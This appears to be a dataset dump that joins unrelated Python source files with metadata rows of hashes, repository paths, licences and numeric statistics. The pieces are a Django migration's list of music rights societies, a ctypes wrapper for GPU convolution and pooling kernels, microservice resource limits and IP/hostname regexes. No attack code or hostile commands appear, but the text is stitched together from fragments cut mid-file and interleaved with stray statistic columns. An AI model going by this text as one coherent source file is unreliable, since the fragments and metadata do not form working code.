(ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, verbose_name='Society')),
('date', models.DateField()),
('status', models.CharField(choices=[('CO', 'Conflict'), ('DU', 'Duplicate'), ('RA', 'Transaction Accepted'), ('AS', 'Registration Accepted'), ('AC', 'Registration Accepted with Changes'), ('SR', 'Registration Accepted - Ready for Payment'), ('CR', 'Registration Accepted with Changes - Ready for Payment'), ('RJ', 'Rejected'), ('NP', 'No Participation'), ('RC', 'Claim rejected'), ('NA', 'Rejected - No Society Agreement Number'), ('WA', 'Rejected - Wrong Society Agreement Number')], max_length=2)),
('remote_work_id', models.CharField(blank=True, db_index=True, max_length=20, verbose_name='Remote work ID')),
('work', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='music_publisher.work')),
],
options={
'verbose_name': 'Registration Acknowledgement',
'ordering': ('-date', '-id'),
'index_together': {('society_code', 'remote_work_id')},
},
),
migrations.AddField(
model_name='work',
name='library_release',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='works', to='music_publisher.libraryrelease', verbose_name='Library release'),
),
migrations.AlterUniqueTogether(
name='artistinwork',
unique_together={('work', 'artist')},
),
migrations.CreateModel(
name='AlternateTitle',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(db_index=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('title')])),
('suffix', models.BooleanField(default=False, help_text='Select if this title is only a suffix to the main title.')),
('work', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work')),
],
options={
'verbose_name': 'Alternative Title',
'ordering': ('-suffix', 'title'),
'unique_together': {('work', 'title')},
},
),
]
| 185.06051 | 9,790 | 0.574713 | 6,339 | 58,109 | 5.217227 | 0.168323 | 0.022617 | 0.018868 | 0.025702 | 0.878628 | 0.865506 | 0.850327 | 0.828858 | 0.823597 | 0.815584 | 0 | 0.070261 | 0.156946 | 58,109 | 313 | 9,791 | 185.651757 | 0.60483 | 0.000774 | 0 | 0.5 | 1 | 0.003268 | 0.524405 | 0.008405 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.013072 | 0.026144 | 0 | 0.039216 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
6734b00b370189f13df809c363bbd68275c6b63f | 17,992 | py | Python | cudamat_conv/cudamat_conv.py | hujinshui/deepnet | 592e5daa988b0247158f21989fbef60d10172075 | [
"BSD-3-Clause"
] | 1 | 2015-06-26T12:22:39.000Z | 2015-06-26T12:22:39.000Z | cudamat_conv/cudamat_conv.py | bjou/deepnet | 2d9c11420dfb474d6e75cd546df3d67f4bca5eb6 | [
"BSD-3-Clause"
] | null | null | null | cudamat_conv/cudamat_conv.py | bjou/deepnet | 2d9c11420dfb474d6e75cd546df3d67f4bca5eb6 | [
"BSD-3-Clause"
] | null | null | null | ### goal: write cudamat and gnumpy functions that
import ctypes as ct
_ConvNet = ct.cdll.LoadLibrary('_ConvNet.so')
import gnumpy as g
def convUp(images, filters, moduleStride = 1, paddingStart = 0):
assert paddingStart <= 0
numChannels, imSizeX, imSizeX, numImages = images.shape
numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape
assert (abs(paddingStart) + imSizeX - filterSizeX) % moduleStride == 0
numModulesX = (abs(paddingStart) + imSizeX - filterSizeX)/moduleStride + 1
numModules = numModulesX**2
numGroups = 1
#moduleStride = 1
targets = g.zeros((numFilters, numModulesX, numModulesX, numImages))
numImgColors = numChannels
imagesCu = images._base.p_mat
filtersCu = filters._base.p_mat
targetsCu = targets._base.p_mat
imagesCu_orig, filtersCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(imagesCu, filtersCu, targetsCu)]
from numpy import prod
filtersTotSize = filters.size
filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2
filtersCu.contents.size[1] = numFilters
assert filtersTotSize == prod(filtersCu.contents.size)
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
targetsTotSize = targets.size
targetsCu.contents.size[0] = numFilters * numModulesX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.convUp(imagesCu,
filtersCu,
targetsCu,
numModulesX,
paddingStart,
moduleStride,
numImgColors,
numGroups,
)
for i in range(2):
filtersCu.contents.size[i] = filtersCu_orig[i]
imagesCu.contents.size[i] = imagesCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
def convDown(hidActs, filters, moduleStride = 1, paddingStart = 0):
numGroups = 1
assert paddingStart <= 0
numFilters, numModulesX, numModulesX, numImages = hidActs.shape
numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape
numModules = numModulesX**2
#numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1)
#imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1
imSizeX = (numModulesX - 1) * moduleStride - abs(paddingStart) + filterSizeX
#assert (abs(paddingStart) + imSizeX - filterSizeX) % moduleStride == 0
numChannels = numFilterChannels * numGroups
targets = g.zeros((numChannels, imSizeX, imSizeX, numImages))
numImgColors = numChannels
hidActsCu = hidActs._base.p_mat
filtersCu = filters._base.p_mat
targetsCu = targets._base.p_mat
# * hidActs: (numFilters, numModules, numImages)
# * filters: (numFilterColors, filterPixels, numFilters) if conv
# * (numModules, numFilterColors, filterPixels, numFilters) otherwise
# * targets: (numImageColors, imgPixels, numImages)
hidActsCu_orig, filtersCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(hidActsCu, filtersCu, targetsCu)]
# filters are as before
from numpy import prod
filtersTotSize = filters.size
filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2
filtersCu.contents.size[1] = numFilters
assert filtersTotSize == prod(filtersCu.contents.size)
# hidActs are like the targets of the past:
hidActsTotSize = hidActs.size
hidActsCu.contents.size[0] = numFilters * numModulesX**2
hidActsCu.contents.size[1] = numImages
assert hidActsTotSize == prod(hidActsCu.contents.size)
# targets are like images:
targetsTotSize = targets.size
targetsCu.contents.size[0] = numImgColors * imSizeX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.convDown(
hidActsCu,
filtersCu,
targetsCu,
imSizeX,
paddingStart,
moduleStride,
numImgColors,
numGroups)
for i in range(2):
filtersCu.contents.size[i] = filtersCu_orig[i]
hidActsCu.contents.size[i] = hidActsCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
def convOutp(images, hidActs, moduleStride = 1, paddingStart = 0, partialSum = None):
numGroups = 1
assert paddingStart <= 0
numFilters, numModulesX, numModulesX, numImages = hidActs.shape
numChannels, imSizeX, imSizeX, numImages = images.shape
numFilterChannels = numChannels / numGroups
#imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1
#filterSizeX = (imSizeX - numModulesX + abs(paddingStart))/moduleStride + 1
filterSizeX = -(numModulesX - 1) * moduleStride + (abs(paddingStart) + imSizeX)
assert partialSum is None
partialSum = numModulesX**2
targets = g.zeros((numFilterChannels, filterSizeX, filterSizeX, numFilters))
numImgColors = numChannels
hidActsCu = hidActs._base.p_mat
imagesCu = images._base.p_mat
targetsCu = targets._base.p_mat
imagesCu = images._base.p_mat
imagesCu_orig, hidActsCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(imagesCu, hidActsCu, targetsCu)]
from pylab import prod
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
hidActsTotSize = hidActs.size
hidActsCu.contents.size[0] = numFilters * numModulesX**2
hidActsCu.contents.size[1] = numImages
assert hidActsTotSize == prod(hidActsCu.contents.size)
from numpy import prod
targetsTotSize = targets.size
targetsCu.contents.size[0] = numFilterChannels * filterSizeX**2
targetsCu.contents.size[1] = numFilters
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.convOutp(
imagesCu,
hidActsCu,
targetsCu,
numModulesX,
filterSizeX,
paddingStart,
moduleStride,
numImgColors,
numGroups,
partialSum
)
for i in range(2):
imagesCu.contents.size[i] = imagesCu_orig[i]
hidActsCu.contents.size[i] = hidActsCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
def MaxPool(images,
subsX,
startX,
strideX,
outputsX
):
numChannels, imSizeX, imSizeX, numImages = images.shape
numImgColors = numChannels
targets = g.zeros((numChannels, outputsX, outputsX, numImages))
imagesCu = images._base.p_mat
targetsCu = targets._base.p_mat
from pylab import prod
imagesCu_orig = tuple(imagesCu.contents.size)
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
targetsCu_orig = tuple(targetsCu.contents.size)
targetsTotSize = targets.size
targetsCu.contents.size[0] = numImgColors * outputsX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
numFilters = numImgColors
_ConvNet.MaxPool(imagesCu,
targetsCu,
numFilters,
subsX,
startX,
strideX,
outputsX
)
for i in range(2):
targetsCu.contents.size[i]=targetsCu_orig[i]
imagesCu.contents.size[i]=imagesCu_orig[i]
return targets
def MaxPoolUndo(images,
grad,
maxes,
subsX,
startX,
strideX,
):
numChannels, imSizeX_, imSizeX, numImages = images.shape
assert imSizeX_ == imSizeX
numChannels = numChannels
numChannels, outputsX_, outputsX, numImages = maxes.shape
assert outputsX_ == outputsX
assert maxes.shape == grad.shape
targets = g.zeros(images.shape)
assert numChannels % 16 == 0
imagesCu = images._base.p_mat
maxesCu = maxes._base.p_mat
gradCu = grad._base.p_mat
targetsCu = targets._base.p_mat
from pylab import prod
imagesCu_orig = tuple(imagesCu.contents.size)
imagesTotSize = images.size
imagesCu.contents.size[0] = numChannels * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
from pylab import prod
targetsCu_orig = tuple(targetsCu.contents.size)
targetsTotSize = targets.size
targetsCu.contents.size[0] = numChannels * imSizeX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
maxesCu_orig = tuple(maxesCu.contents.size)
maxesTotSize = maxes.size
maxesCu.contents.size[0] = numChannels * outputsX**2
maxesCu.contents.size[1] = numImages
assert maxesTotSize == prod(maxesCu.contents.size)
gradCu_orig = tuple(gradCu.contents.size)
gradTotSize = grad.size
gradCu.contents.size[0] = numChannels * outputsX**2
gradCu.contents.size[1] = numImages
assert gradTotSize == prod(gradCu.contents.size)
_ConvNet.MaxPoolUndo(imagesCu,
gradCu,
maxesCu,
targetsCu,
subsX,
startX,
strideX,
outputsX
)
for i in range(2):
targetsCu.contents.size[i]=targetsCu_orig[i]
imagesCu.contents.size[i]=imagesCu_orig[i]
gradCu.contents.size[i]=gradCu_orig[i]
maxesCu.contents.size[i]=maxesCu_orig[i]
return targets
## dosen't work for some reason. Investigate the reason.
def AvgPool(images,
subsX,
startX,
strideX,
outputsX
):
numChannels, imSizeX, imSizeX, numImages = images.shape
numImgColors = numChannels
targets = g.zeros((numChannels, outputsX, outputsX, numImages))
imagesCu = images._base.p_mat
targetsCu = targets._base.p_mat
from pylab import prod
imagesCu_orig = tuple(imagesCu.contents.size)
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
targetsCu_orig = tuple(targetsCu.contents.size)
targetsTotSize = targets.size
targetsCu.contents.size[0] = numImgColors * outputsX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
numFilters = numImgColors
_ConvNet.AvgPool(imagesCu,
targetsCu,
numFilters,
subsX,
startX,
strideX,
outputsX,
subsX**2,
)
for i in range(2):
targetsCu.contents.size[i]=targetsCu_orig[i]
imagesCu.contents.size[i]=imagesCu_orig[i]
return targets
################################################################
def localUp(images, filters):
numChannels, imSizeX, imSizeX, numImages = images.shape
## this is a hell of a filter-matrix.
numModulesX, numModulesX, numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape
assert numModulesX <= imSizeX
#numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1)
paddingStart = -(numModulesX - imSizeX + filterSizeX - 1)
assert paddingStart <= 0
numModules = numModulesX**2
numGroups = 1
moduleStride = 1
targets = g.zeros((numFilters, numModulesX, numModulesX, numImages))
numImgColors = numChannels
imagesCu = images._base.p_mat
filtersCu = filters._base.p_mat
targetsCu = targets._base.p_mat
imagesCu_orig, filtersCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(imagesCu, filtersCu, targetsCu)]
from numpy import prod
filtersTotSize = filters.size
filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2
filtersCu.contents.size[1] = numFilters
assert filtersTotSize == prod(filtersCu.contents.size)
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
targetsTotSize = targets.size
targetsCu.contents.size[0] = numFilters * numModulesX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.localUp(imagesCu,
filtersCu,
targetsCu,
numModulesX,
paddingStart,
moduleStride,
numImgColors,
numGroups,
)
for i in range(2):
filtersCu.contents.size[i] = filtersCu_orig[i]
imagesCu.contents.size[i] = imagesCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
def localDown(hidActs, filters, paddingStart = 0):
numGroups = 1
moduleStride = 1
assert paddingStart <= 0
numFilters, numModulesX, numModulesX, numImages = hidActs.shape
numModulesX_, numModulesX_, numFilterChannels, filterSizeX, filterSizeX, numFilters = filters.shape
##### I DONT SUPPORT THE FUCKING STRIDE. SHIT.
assert numModulesX_ == numModulesX
#numModulesX = (abs(paddingStart) + imSizeX - filterSizeX + 1)
imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1
numChannels = numFilterChannels * numGroups
#paddingStart = -(numModulesX - imSizeX + filterSizeX + 1)
numModules = numModulesX**2
targets = g.zeros((numChannels, imSizeX, imSizeX, numImages))
numImgColors = numChannels
hidActsCu = hidActs._base.p_mat
filtersCu = filters._base.p_mat
targetsCu = targets._base.p_mat
# * hidActs: (numFilters, numModules, numImages)
# * filters: (numFilterColors, filterPixels, numFilters) if conv
# * (numModules, numFilterColors, filterPixels, numFilters) otherwise
# * targets: (numImageColors, imgPixels, numImages)
hidActsCu_orig, filtersCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(hidActsCu, filtersCu, targetsCu)]
# filters are as before
from numpy import prod
filtersTotSize = filters.size
filtersCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2
filtersCu.contents.size[1] = numFilters
assert filtersTotSize == prod(filtersCu.contents.size)
# hidActs are like the targets of the past:
hidActsTotSize = hidActs.size
hidActsCu.contents.size[0] = numFilters * numModulesX**2
hidActsCu.contents.size[1] = numImages
assert hidActsTotSize == prod(hidActsCu.contents.size)
# targets are like images:
targetsTotSize = targets.size
targetsCu.contents.size[0] = numImgColors * imSizeX**2
targetsCu.contents.size[1] = numImages
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.localDown(
hidActsCu,
filtersCu,
targetsCu,
imSizeX,
paddingStart,
moduleStride,
numImgColors,
numGroups)
for i in range(2):
filtersCu.contents.size[i] = filtersCu_orig[i]
hidActsCu.contents.size[i] = hidActsCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
def localOutp(images, hidActs, paddingStart = 0):
numGroups = 1
moduleStride = 1
numFilters, numModulesX, numModulesX, numImages = hidActs.shape
numChannels, imSizeX, imSizeX, numImages = images.shape
numFilterChannels = numChannels / numGroups
#imSizeX = numModulesX - abs(paddingStart) + filterSizeX - 1
assert paddingStart <= 0
filterSizeX = imSizeX - numModulesX + abs(paddingStart) + 1
#assert partialSum is None
#partialSum = numModulesX**2
targets = g.zeros((numModulesX, numModulesX, numFilterChannels, filterSizeX, filterSizeX, numFilters))
numImgColors = numChannels
hidActsCu = hidActs._base.p_mat
imagesCu = images._base.p_mat
targetsCu = targets._base.p_mat
imagesCu = images._base.p_mat
imagesCu_orig, hidActsCu_orig, targetsCu_orig = \
[tuple(x.contents.size) for x in
(imagesCu, hidActsCu, targetsCu)]
from pylab import prod
imagesTotSize = images.size
imagesCu.contents.size[0] = numImgColors * imSizeX**2
imagesCu.contents.size[1] = numImages
assert imagesTotSize == prod(imagesCu.contents.size)
hidActsTotSize = hidActs.size
hidActsCu.contents.size[0] = numFilters * numModulesX**2
hidActsCu.contents.size[1] = numImages
assert hidActsTotSize == prod(hidActsCu.contents.size)
from numpy import prod
targetsTotSize = targets.size
targetsCu.contents.size[0] = numFilterChannels * filterSizeX**2 * numModulesX**2
targetsCu.contents.size[1] = numFilters
assert targetsTotSize == prod(targetsCu.contents.size)
_ConvNet.localOutp(
imagesCu,
hidActsCu,
targetsCu,
numModulesX,
filterSizeX,
paddingStart,
moduleStride,
numImgColors,
numGroups,
)
for i in range(2):
imagesCu.contents.size[i] = imagesCu_orig[i]
hidActsCu.contents.size[i] = hidActsCu_orig[i]
targetsCu.contents.size[i] = targetsCu_orig[i]
return targets
| 26.037627 | 106 | 0.649455 | 1,783 | 17,992 | 6.482894 | 0.06562 | 0.122502 | 0.070854 | 0.038066 | 0.889956 | 0.8467 | 0.819362 | 0.788477 | 0.773164 | 0.757072 | 0 | 0.010485 | 0.257892 | 17,992 | 690 | 107 | 26.075362 | 0.855228 | 0.085205 | 0 | 0.810474 | 0 | 0 | 0.000673 | 0 | 0 | 0 | 0 | 0 | 0.099751 | 1 | 0.022444 | false | 0 | 0.034913 | 0 | 0.079801 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6770dd029fd9e53303edccac09acc3940f1dd028 | 4,991 | py | Python | consts.py | Sapio-S/microservices-demo | f4ee95bfa1617ad1b77527fe4f87f26e73b6f374 | [
"Apache-2.0"
] | null | null | null | consts.py | Sapio-S/microservices-demo | f4ee95bfa1617ad1b77527fe4f87f26e73b6f374 | [
"Apache-2.0"
] | null | null | null | consts.py | Sapio-S/microservices-demo | f4ee95bfa1617ad1b77527fe4f87f26e73b6f374 | [
"Apache-2.0"
] | null | null | null | const_dic = {
"adservice":{
"MAX_ADS_TO_SERVE":{
"MAX":5,
"MIN":1,
},
"CPU_LIMIT":{ # 300, request 200
"MAX":500,
"MIN":250,
},
"MEMORY_LIMIT":{ # 300, request 180
"MAX":500,
"MIN":250,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"cartservice":{
"CPU_LIMIT":{ # 300, request 200
"MAX":500,
"MIN":250,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
},
# note: 以下为redis的配置,由于redis在cartservice中初始化,因此将参数移动到了这里
"hash_max_ziplist_entries":{
"MAX":4096,
"MIN":32,
},
"maxmemory_samples":{
"MAX":10,
"MIN":1,
},
"maxmemory":{
"MAX":16,
"MIN":0,
},
},
"checkoutservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"currencyservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"emailservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"MAX_WORKERS":{
"MAX":20,
"MIN":5,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"frontend":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"paymentservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"productcatalogservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"recommendationservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 450, request 220
"MAX":800,
"MIN":300,
},
"MAX_WORKERS":{
"MAX":20,
"MIN":5,
},
"MAX_RESPONSE":{
"MAX":4,
"MIN":1,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
"redis":{
"CPU_LIMIT":{ # 125, request 70
"MAX":350,
"MIN":120,
},
"MEMORY_LIMIT":{ # 256, request 200
"MAX":450,
"MIN":250,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
},
},
"shippingservice":{
"CPU_LIMIT":{ # 200, request 100
"MAX":400,
"MIN":150,
},
"MEMORY_LIMIT":{ # 128, request 64
"MAX":250,
"MIN":100,
},
"IPV4_RMEM":{
"MAX":6291456,
"MIN":4096,
},
"IPV4_WMEM":{
"MAX":4194304,
"MIN":4096,
}
},
} | 21.79476 | 63 | 0.343017 | 392 | 4,991 | 4.227041 | 0.165816 | 0.092939 | 0.073024 | 0.119493 | 0.743512 | 0.743512 | 0.720579 | 0.720579 | 0.720579 | 0.720579 | 0 | 0.213496 | 0.492286 | 4,991 | 229 | 64 | 21.79476 | 0.44041 | 0.083751 | 0 | 0.596491 | 0 | 0 | 0.215604 | 0.014505 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
678657f655c002e69901adb4505b4fc849223d61 | 276 | py | Python | elro/validation.py | Skons/elro_connects | 9c980a61ce251ac79e7468fd0e916bf26dd73d9e | [
"MIT"
] | 16 | 2019-10-12T12:50:36.000Z | 2022-01-24T17:39:36.000Z | elro/validation.py | depuits/elro_connects | eb2cf1df67ef0ade811e278b52520449e0941d23 | [
"MIT"
] | 23 | 2021-03-01T16:40:39.000Z | 2022-03-25T12:54:21.000Z | elro/validation.py | depuits/elro_connects | eb2cf1df67ef0ade811e278b52520449e0941d23 | [
"MIT"
] | 7 | 2020-12-27T20:18:20.000Z | 2022-01-21T15:39:18.000Z | ip_address = "(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}" \
"([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])"
hostname = "(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*" \
"([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])"
| 55.2 | 73 | 0.380435 | 72 | 276 | 1.444444 | 0.194444 | 0.153846 | 0.384615 | 0.461538 | 0.826923 | 0.826923 | 0.826923 | 0.826923 | 0.826923 | 0.826923 | 0 | 0.227273 | 0.123188 | 276 | 4 | 74 | 69 | 0.202479 | 0 | 0 | 0 | 0 | 1 | 0.768116 | 0.768116 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15 |
679c3ca5e5328a20da5549955e6d7427a5fc9c8d | 107 | py | Python | discounts/utils.py | Zadigo/mycommerce | 145031ebb359389e680a820577a4b6b2d382646d | [
"MIT"
] | null | null | null | discounts/utils.py | Zadigo/mycommerce | 145031ebb359389e680a820577a4b6b2d382646d | [
"MIT"
